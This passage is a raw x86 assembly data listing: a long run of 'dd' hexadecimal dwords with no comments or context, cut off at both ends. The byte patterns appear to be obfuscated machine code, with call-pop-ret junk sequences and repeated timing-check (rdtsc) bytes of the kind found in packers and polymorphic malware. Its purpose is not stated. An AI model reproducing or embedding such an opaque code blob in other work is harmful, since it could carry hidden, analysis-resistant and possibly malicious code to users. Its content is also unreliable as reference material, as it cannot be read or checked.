4244481h, 15h, 0E7C35040h, 78F0F4Ch dd 0F000000h, 184h, 0DF80FC00h, 0C6F2h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 51C35747h, 0FB4F9DE3h dd 9532EE8h, 0E722E585h, 8B665B05h, 1985C7DEh, 5E723h dd 0E9000000h, 0FFFFF34Bh, 3800Fh, 0C3800000h, 8DC18B97h dd 0E7139585h, 159D8B05h, 5005E701h, 5830Fh, 0A5BB0000h dd 89126115h, 0B5892404h, 5E7135Dh, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0AFA4E4C3h dd 9661B145h, 6A93E780h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 47968122h, 0D0F7A54Fh dd 0BD8960C3h, 5E72209h, 2B258533h, 8D6105E7h, 0EB76EA85h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 4D811B8Fh, 83DF8B17h, 6A05C0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A35ADCC3h dd 5A01A0C7h, 8BE3A356h, 37BB50F9h, 893E0A91h, 0BF522404h dd 20067CDh, 499D8B5Bh, 6A05E718h, 0CE900h, 0C1F40000h dd 0EFCCD418h, 0B4C04852h, 6A0F41h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 3BC35040h, 53A66BA5h, 9A70F510h dd 0DE8h, 0BF7F5C00h, 0B0EA28D1h, 2382A580h, 0BD29A2B9h dd 5E705EDh, 4D95FF5Fh, 6A05E71Ah, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 2FC4C351h dd 195556B4h, 8FD88160h, 0F1FD669h, 8B61FFBFh, 0E729D99Dh dd 0AA8D8D05h, 6605EAA4h, 0FFCA7EBFh, 55006AD1h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BD835C8Ah, 5E72B8Dh, 0A8850F01h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0C2BCC351h, 0DF979DFBh, 6A026AEDh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 9049C353h dd 6650F88Bh, 9000DCBBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0DEC35545h, 6F19A4EEh, 9D950360h, 8905E728h dd 0E73271B5h, 95FF6105h, 5E71ABDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h dd 17h, 0AEC35646h, 89EDF0BCh, 0E70199B5h, 99BD8905h, 0E905E724h dd 0D3Eh, 0E8h, 0ED815D00h, 5EB76F4h, 6AFB8Bh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 6A71C7C3h, 90FD858Dh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0D8088C3h, 0F3771587h dd 5076F380h, 0FE8h, 760A7800h, 695CC20Fh, 0FD544916h dd 0C7382E90h, 5FD88B66h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A417C350h dd 27E9BD03h, 0FF6405E7h, 35h, 0BD9D8B00h, 6405E716h, 2589h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0AAA0CAC3h, 2F099D03h, 85FF05E7h, 5E714FDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4CC35242h dd 9D8BFF6Ah, 5E725DDh, 2EE9BD89h, 0B5FF05E7h, 5E70091h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A7C35646h dd 0B91D149Ah, 13CDBD8Bh, 315105E7h, 0E72AD58Dh, 95FF5B05h dd 5E70451h, 171E9h, 0B0D98B00h, 458D8900h, 0E605E70Ah dd 19BD8970h, 0F805E718h, 3CF871E4h, 53830F61h, 0E8000001h dd 11h, 9E612909h, 7C44A0E4h, 9189E25Eh, 90CDD929h, 0FE8B669Eh dd 0C8B60F5Bh, 20B18531h, 6BA05E7h, 8B000000h, 0E72EF99Dh dd 8BC18B05h, 0E7159DBDh, 4E8C105h, 208CE381h, 0F7661280h dd 11B589E2h, 6605E71Dh, 2F22F381h, 0E780C82Bh, 0E9D18BCFh dd 5, 837D637Fh, 3E947h, 0B70F0000h, 99858BDFh, 0F505E703h dd 0E807C083h, 0Fh, 0AE1985CCh, 18160696h, 959BE513h, 0F892C74h dd 687h, 7DBD8900h, 5B05E723h, 0F00C083h, 682h, 65850100h dd 6605E707h, 3B2C68BBh, 0C830FD0h, 8A000000h, 0A0E9FAh dd 81660000h, 8BB8FAD7h, 0E707958Dh, 1E820F05h, 60000000h dd 11E9h, 57718A00h, 0CA9E4FFAh, 69AE62h, 6785FA15h, 8D8944C9h dd 5E72569h, 0E1953161h, 8305E714h, 840F01E1h, 62h, 328DBD8Bh dd 0A58305E7h, 5E70795h, 0DE8FEh, 0FDFC0000h, 50184D88h dd 0F6DB88ABh, 0E9F35C0Ch, 9, 93FB78C1h, 6A74AB0Ch, 95895FF5h dd 5E70399h, 10E8h, 0F45E7600h, 3793942Eh, 0A79A0028h dd 0AE093BBCh, 0EE906h, 9ABD0000h, 6CC2FFB2h, 0EF33EEA7h dd 6E069E33h, 0E95Bh, 0B58D0000h, 5EAEDFFh, 469B509h, 0BD8B05E7h dd 5E72C79h, 8FBB006Ah, 0FF4490B3h, 0E721C195h, 4D958905h dd 0B905E721h, 8CBh, 0BA9BD8Bh, 0E18305E7h, 56006AFCh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 7FB5B131h, 0FC39D1DEh, 279DBD0Bh, 0C02B05E7h, 0BAFCh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0CFFE21C3h, 0BD097B00h, 5E7329Dh, 0ADF98B66h dd 0E8D1C233h, 0E983D003h, 66F47504h, 6ACD89BBh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 2345C352h, 20ADB589h, 880D05E7h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 472EC355h, 0DD9E997h, 95E6CBFh, 0C9952948h, 8B05E715h dd 0E71AA995h, 719D0905h, 8B05E716h, 0E72A4D8Dh, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0F580C20Bh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 23ADFEC3h, 8D41C2D2h, 0A58D89EFh, 6A05E72Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 288AC355h, 32BB1CFDh, 8364BA68h, 0E71865BDh dd 840F0005h, 43h, 7E1B589h, 0B805E7h, 81000000h, 3DB2F6DFh dd 248D8D72h, 6A05E74Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 7A95C357h, 82E10356h dd 0DA105207h, 9604BF66h, 83F5E1FFh, 0E72739BDh, 840F0005h dd 48Ch, 6E9h, 0DDDB0500h, 83C44E90h, 0E72739BDh, 840F0105h dd 48Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 4BC35040h, 0BFD5553Ah, 13AB7A3Eh, 0A219D31h, 0BD8305E7h dd 5E72739h, 22860F03h, 66000004h, 0AB8AE781h, 0E1BD8B60h dd 6605E717h, 8166D98Ch, 80CFC8EFh, 9D0104E1h, 5E709FDh dd 23299589h, 0C90A05E7h, 151840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0E6052AC3h dd 5B5296Ch, 8B05E72Dh, 0E7069985h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 66BBB462h dd 8589D88Bh, 5E71BCDh, 13098533h, 6A05E7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 83E48FC3h dd 1468CADCh, 0F85FBCABh, 51525090h, 864658BBh, 310F5B46h dd 5050585Ah, 0BB525052h, 0CCE6B15h, 0BB66310Fh, 585A0C12h dd 0ACBB310Fh, 5A72A1DAh, 7E99058h, 3B000000h, 845F16F7h dd 6ACCF4h, 1A3D9D31h, 736805E7h, 0E8781D93h, 14h, 25A11716h dd 96C72967h, 0E8A0187Dh, 298EF69Dh, 3B62F988h, 2434815Bh dd 7802908Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0FEC35747h, 53C9BC9Dh, 0F24337Dh, 8B51DBBFh, 0E7048DBDh dd 95FF5F05h, 5E71B71h, 89F98B66h, 0EAA64685h, 0BCBB6605h dd 23DE912h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 4D0F87C3h, 7C31D9C5h, 959D8B35h dd 8B05E704h, 0EAA63E85h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0C7E30EEEh dd 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 42B58B9Ah, 6A05EAA6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 1419C350h dd 858B64EAh, 5E73289h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 3EC35040h, 8B28C903h, 0E71679BDh, 699D2305h dd 8905E716h, 81BD8B06h, 8B05E72Eh, 0E7069985h, 4689FC05h dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 804201F8h, 3A3F2007h, 7E8DDD1h, 11000000h dd 8955782h, 0FE90142h, 61000000h, 24C83D49h, 755FC10h dd 0F471E9BFh, 805BB6BBh, 9589FECBh, 5E70839h, 0FE8B6650h dd 6A243489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 6BD8C352h, 0B9B5292Bh, 0FF05E721h dd 0EAA63EB5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0E58669ACh, 28FAA690h dd 69958960h, 2B05E700h, 0E7193D8Dh, 0E7686105h, 8109999Ch dd 9F182434h, 6A0986h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 5A7F51C3h, 0E3E1F264h dd 870FCEEDh, 0Ch, 68A0Fh, 8A0F0000h, 0 dd 0A646858Dh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0F98A6BC3h, 1D9D0BFCh, 5005E728h dd 0BE9h, 6AF20F00h, 0A26EB243h, 784F0492h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0E74FC355h, 1AFCDF20h, 7FDC06ACh, 22A5B531h dd 95FF05E7h, 5E71B71h, 61D88B66h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 5C35747h, 38E0Fh, 8B660000h dd 2D9D89FEh, 0C705E715h, 0E7273985h, 305h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 816662DDh, 0FAE2DF7h, 0BD83DBBFh, 5EAA646h, 2A840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0F0AFC357h, 2121BD01h, 1DE905E7h dd 8B000000h, 0C3050F8h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0A3C35343h, 0B14738AEh, 99767F3h, 29DF81E2h dd 8B393006h, 0E71B6DBDh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0C72390E8h dd 5DBBFF20h, 832D4C5Fh, 0E72739BDh, 850F0305h, 374h, 29F18A60h dd 0E703AD85h, 0BD836105h, 5EAA646h, 5D840F00h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 1F7DC356h, 128186CDh, 0FDBBF0Fh, 688h, 219D8B00h dd 0FF05E72Ch, 0EAA646B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 66C36ED5h dd 0FF691BBFh, 0E7021995h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 32BD71D0h dd 68F0Fh, 0CB810000h, 8D34E67h, 0A63AB58Bh, 950105EAh dd 5E72321h, 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0C334BBC3h, 8B664D45h dd 0F5196DAh, 287h, 5B5F5100h, 0FA8A5650h, 6A965Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 9D6BEAC3h, 0F98C3707h, 19D8B5Eh, 0FF05E714h, 0EAA646B5h dd 3195FF05h, 6605E700h, 0B58BFB8Bh, 5EAA63Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 90C35343h, 1A5A3D13h dd 0F575A1Ah, 895BFFB7h, 0E720BD95h, 7D858B05h, 0F05E718h dd 589h, 0EB816600h, 8689C71Ch, 0C4h, 6810Fh, 8D290000h dd 5E70095h, 1AA9958Bh, 816605E7h, 83724DD3h, 89F904C2h dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 858DAAC3h, 5EABAC3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 7DC35040h, 0F8FAD612h, 0DE8BAB3Ch dd 0B88689h, 8B660000h, 57006AFBh, 0CE8h, 0D53B6800h, 28817C3Dh dd 9E7D143Ah, 398D89A8h, 5F05E718h, 0FFFA8B5Fh, 0EAA646B5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0BDB55F0Dh, 0AA79032Eh, 0BD95FF70h, 6605E71Ah dd 6596C781h, 0A4BB6696h, 0CE850DCh, 55000000h, 7E2FAE50h dd 6FD73EFFh, 0FD3ED06h, 480h, 0E0BB6600h, 8B965FE4h, 0E72179BDh dd 46B5FF05h, 5005EAA6h, 13E59D8Bh, 0FF5F05E7h, 0E7077995h dd 12E905h, 65920000h, 9868573h, 13E18203h, 8F1667BCh dd 2E874093h, 2D0DBD83h, 0F0005E7h, 1984h, 8E900h, 6E7B0000h dd 0DF2FF589h, 66505475h, 3489DE8Bh, 0F7816624h, 0B5FF6E27h dd 5EAA646h, 0E83535BFh, 10E926h, 0F70A0000h, 8EA803CFh dd 0E6437EABh, 8FBABF42h, 95FFED77h, 5E72435h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4BC35242h, 2A373583h dd 0EE8h, 3E286500h, 5CAB744Ah, 1CF02560h, 89E162EFh, 0E706E1B5h dd 0B5FF5F05h, 5EAA646h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 93C35141h, 0BFFF05FDh, 9D8BFE51h, 5E70159h dd 76D95FFh, 0C38005E7h, 85BD83F1h, 205E72Dh, 18840Fh dd 9D8B0000h, 5E7244Dh, 1185858Bh, 8B6605E7h, 0C6DEh, 1D4D9D8Bh dd 85C705E7h, 5E72319h, 0 dd 951B589h, 8D8905E7h, 5E71A11h, 0FFF3C3E9h, 3890FFFh dd 66000000h, 0C18BD88Bh, 2FD8D89h, 858D05E7h, 5E71395h dd 58A0Fh, 81660000h, 50400AF7h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B93C357h dd 0E70C61BDh, 6A006A05h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 7DF1C353h, 0BE0BE099h dd 12880F9Ah, 0E8000000h, 0Ah, 97D80076h, 0CA9AE530h, 61607946h dd 0E595295Fh, 6A05E720h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 6CB196F3h dd 81F8267Ch, 0FDB1AADBh, 0AF858D5Eh, 6A05EB86h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 5542C357h, 0F8BF0FADh, 6A05C083h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0D80C350h dd 0F3771587h, 0F5BD8BEDh, 8A05E701h, 8B6690DDh, 0BF5750D9h dd 4D0EC585h, 0BB66905Fh, 6E8430Dh, 51000000h, 2FD9EB78h dd 69BD8BB3h, 5F05E72Ch, 8B60006Ah, 0C78166D7h, 6661C4E3h dd 6AF88Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0D4C35747h, 68C0F15h, 0F000000h, 81h, 9E900h, 0C3890000h dd 14FAFAC8h, 0FF73B7BDh, 0E71A4D95h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 4550B265h, 12A58D01h, 8D8D05E7h, 5EAA4AAh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0DFC35646h, 593CA6AAh dd 29D9BD8Bh, 0BD8B05E7h, 5E71729h, 5FE9BF66h, 6AD1FFh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0B858A4C3h, 6D8529B3h, 8305E71Bh, 0E72B8DBDh, 850F0105h dd 8Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h dd 73C35747h, 798D8960h, 3105E703h, 0E71B2DBDh, 11E96105h dd 34000000h, 93D90A2h, 0D0046D68h, 0E325956h, 0F2A20EFFh dd 6A026Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0BD0342C3h, 5E719F5h, 60515090h, 310F5250h dd 8B66585Ah, 905F61F1h, 2BC9BD8Bh, 95FF05E7h, 5E71ABDh dd 7AD9D0Bh, 0BD2B05E7h, 5E72385h, 0D88E9h, 0E800h, 815D0000h dd 0EB86B9EDh, 76BB6605h, 56006A82h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0EF570C5Fh dd 0C1849AF7h, 0FD858D88h, 0F505EA90h, 0C018589h, 609005E7h dd 0F71EB966h, 0BF665061h, 6A90FF67h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0A8D8C355h dd 3B5D1F0Dh, 35FF64h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 7249C355h dd 25896425h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0BDC35242h dd 8D9D89C6h, 0FF05E709h, 0E714FD85h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 93AC5D16h, 816693EFh, 8BAFA0E3h, 6AFF6AF9h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 4CFFC351h, 6870F9Eh, 89000000h, 0E72499BDh, 0FE905h dd 0CE4F0000h, 6DEED9B8h, 1F4673Ah, 0AF402B26h, 45B5FFE1h dd 8905E72Bh, 0E71A518Dh, 5195FF05h, 0E905E704h, 127h dd 3830Fh, 8B660000h, 858D89FEh, 0B005E720h, 659D8900h dd 0E605E70Ah, 171E470h, 0E717898Dh, 0F613C05h, 0FE83h dd 0D5BD8B00h, 0F05E72Ch, 8589C8B6h, 5E703F9h, 6BAh, 0D9B70F00h dd 8F0FC18Bh, 1, 4E8C1F5h, 1541B589h, 0E38105E7h, 31425EFEh dd 0FE2F766h, 68Dh, 0CD9D0300h, 2B05E732h, 0FE9C8h, 84A0000h dd 47BEAEB1h, 5462A8E7h, 1E9EBB5Ch, 8BD18BF5h, 0E703719Dh dd 6E905h, 95890000h, 5E71189h, 1C1858Bh, 0C08305E7h, 0B5BD8B07h dd 8305E72Bh, 0EE900C0h, 42000000h, 0A9EE5DB8h, 0FDCF11F9h dd 2A7187E9h, 0FD03BE9h, 2083h, 6E800h, 0FD60000h, 0D1D8DA22h dd 0C859589h, 8B5B05E7h, 0E715599Dh, 4DE905h, 0DF800000h dd 558D8B5Fh, 8905E71Ah, 0E7041D95h, 0DBBB6605h, 1E18357h dd 31840Fh, 83F50000h, 0E71A55A5h, 0DE9FE05h, 82000000h dd 4AE2F908h, 0A5D1D2E0h, 5B8A8E19h, 1C19589h, 0BD8B05E7h dd 5E72C35h, 27819D8Bh, 0E905E7h, 8D000000h, 0EAF915B5h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 2D78F3B4h, 5E9BBh, 0E52C0000h, 6AC3F21Eh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 1A2861CBh, 184E9C00h, 13E8h, 0D49B9E00h dd 1D6DE361h, 0EA924018h, 28516132h, 3C99616Ah, 0FD14E781h dd 0FF5B3C16h, 0E721C195h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8A0F5E93h dd 4, 0E331BF66h, 90DB9h, 9E800h, 8E3E0000h, 4EDC27E1h dd 0B3A5B258h, 0E1835B2Eh, 50006AFCh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 912E5BCFh dd 0BD239540h, 5E7137Dh, 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0B54F576Ch, 2BF7B62Dh dd 7E923h, 0DD410000h, 0B481500Eh, 0D88B6690h, 6AC02Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0B59FDEC3h, 0C66AC7FDh, 29B807C8h, 0E701599Dh, 25BD8B05h dd 0BA05E71Ch, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 8C35747h dd 5A1F5463h, 0AE90184h, 0BA000000h, 43E30F1Dh, 0D19BA1F5h dd 0C233AD4Ch, 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 73DF7D07h, 1EA544E7h, 81660D32h, 0BF60D2C3h, 52E7C387h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 1CC35343h dd 0C19221FCh, 35BD8B0Eh, 8B05E721h, 0E703E5BDh, 880D05h dd 0CF810000h, 4DC7CE6Dh, 1AA9958Bh, 6A05E7h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 7B83D1C3h dd 0DB8B2CCEh, 0BD8B92EBh, 5E71C6Dh, 2A4D8D8Bh, 9D8B05E7h dd 5E70CC9h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0C8B022C3h, 8BCDE4C1h, 0CDB589DEh, 8305E722h dd 0E71865BDh, 840F0005h, 8Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0F1C35747h, 0B83A747Bh, 235BD8Bh dd 800F05E7h, 6, 179D9D8Bh, 0B805E7h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 3119C350h, 66629DBCh, 0AB11D381h, 1D8B70Fh, 0E717358Dh dd 248D8D05h, 0FF05E74Dh, 50006AE1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0A5B5896Ah dd 8305E728h, 0E72739BDh, 840F0005h, 40Ch, 0FE9h, 0FD917500h dd 1B2E850Bh, 1FE1B16h, 0AACB8E08h, 2739BD83h, 0F0105E7h dd 40684h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0E1BD8B49h, 8305E70Ch, 0E72739BDh dd 860F0305h, 3A1h, 0DE9h, 5C339500h, 0FF42A668h, 0B64D66D2h dd 0FC6037D7h, 1860Fh, 66FC0000h, 6AD98Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BCD7C5C3h dd 82BBB0CBh, 4E18069h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0F7C35747h, 0EE94Ah, 30F00000h, 0D4B6F824h dd 97AD692h, 1EE65CFh, 840FC90Ah, 11Bh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0E4C35343h, 0E1163113h dd 8B5437DFh, 0E7069985h, 0BB665605h, 335FAA8Eh, 0E7130985h dd 5BFC5305h, 0E9515750h, 0Dh, 0DEF8FC05h, 0E7183AD4h dd 0AF7510D3h, 895B5B0Ch, 81602404h, 0EE3336DEh, 41852345h dd 6105E718h, 0AE8h, 0D23B0F00h, 417A36Ah, 8BF3B9B2h, 0E72375BDh dd 6A5B05h, 341F9668h, 66606008h, 61011DBAh, 0D88B5250h dd 8B66310Fh, 61585ACBh, 69243481h, 89082B1Ch, 0E71A7995h dd 7195FF05h, 6A05E71Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 34D4C355h, 89405E2Ah dd 0EAA64685h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0F170D259h, 23D0170Fh dd 1DDE987h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0ACFBD3C3h, 0AC19D8Bh, 816605E7h dd 8BA7C9D7h, 0EAA63E85h, 0C3805105h, 0C75F97h, 18h, 0B58B77B3h dd 5EAA642h, 329BD8Bh, 858B05E7h, 5E73289h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 55C35747h, 8D0F7A23h dd 0 dd 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 800C9AC3h, 0C97D21E1h, 600C40D2h, 0AE9F5h dd 3E660000h, 0D1D80F8h, 7645E2C2h, 99858B61h, 6A05E706h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 7C18C355h, 3D6975D2h, 869E628h, 0A95BF1BFh dd 446893Fh, 96D88B66h, 0B7507EB7h, 0BD8B96B3h, 5E72071h dd 24999529h, 0B5FF05E7h, 5EAA63Eh, 1A49BD23h, 4E805E7h dd 0FF000000h, 0E9001F03h, 0Ch, 0B9A2BFFAh, 8B482383h dd 998701B7h, 8BD98A50h, 0F042444h, 1983h, 0BF666000h dd 0EE994B8h, 88000000h, 3544F7C9h, 600CFAC2h, 750940F5h dd 8B61DEh, 4244489h, 0EBE3BF66h, 69858958h, 8D05E72Ch dd 0EAA64685h, 52BB6605h, 8E0F90C0h, 2, 8B505F50h, 6A90FAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 8778FDC3h, 2E975656h, 12E860h, 6A320000h, 27645503h dd 0D11BBF69h, 4DF6FACCh, 0BC8FA46h, 0FCF9BE66h, 419D8958h dd 6105E715h, 1B7195FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 7D3501C3h, 6DA78135h dd 35BD8BF9h, 6105E72Ch, 0FFC97FBFh, 3985C779h, 305E727h dd 8B000000h, 46BD83DEh, 5EAA6h, 37840Fh, 0E9F80000h, 4Ch dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 33C35646h dd 3FDE65BFh, 0B6002E8h, 0E70005B5h, 18DB8005h, 0ABF6661h dd 0C305062h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0BE9h, 0ABDF6500h, 0AAD83D59h, 5712A469h dd 125FB960h, 9D897BF0h, 5E705A9h, 39BD8361h, 305E727h dd 363850Fh, 8D890000h, 5E70A8Dh, 0A646BD83h, 0F0005EAh dd 35084h, 6E85200h, 4F000000h, 27839D4Fh, 5B5B511Eh, 46B5FF5Fh dd 3305EAA6h, 0E72CA59Dh, 5DBD0105h, 0FF05E707h, 0E7021995h dd 0B58BF505h, 5EAA63Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 53C35141h, 81660768h, 0C7CAF2DFh, 1000106h dd 0CE900h, 86470000h, 0C3B808BBh, 368A6B29h, 0E950D1E7h dd 5, 0D2DECE9Dh, 2434894Fh, 0FFFA8B66h, 0EAA646B5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 353DE431h, 0DCDB8166h, 3195FF55h, 6A05E700h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 122DC355h, 176B94A6h, 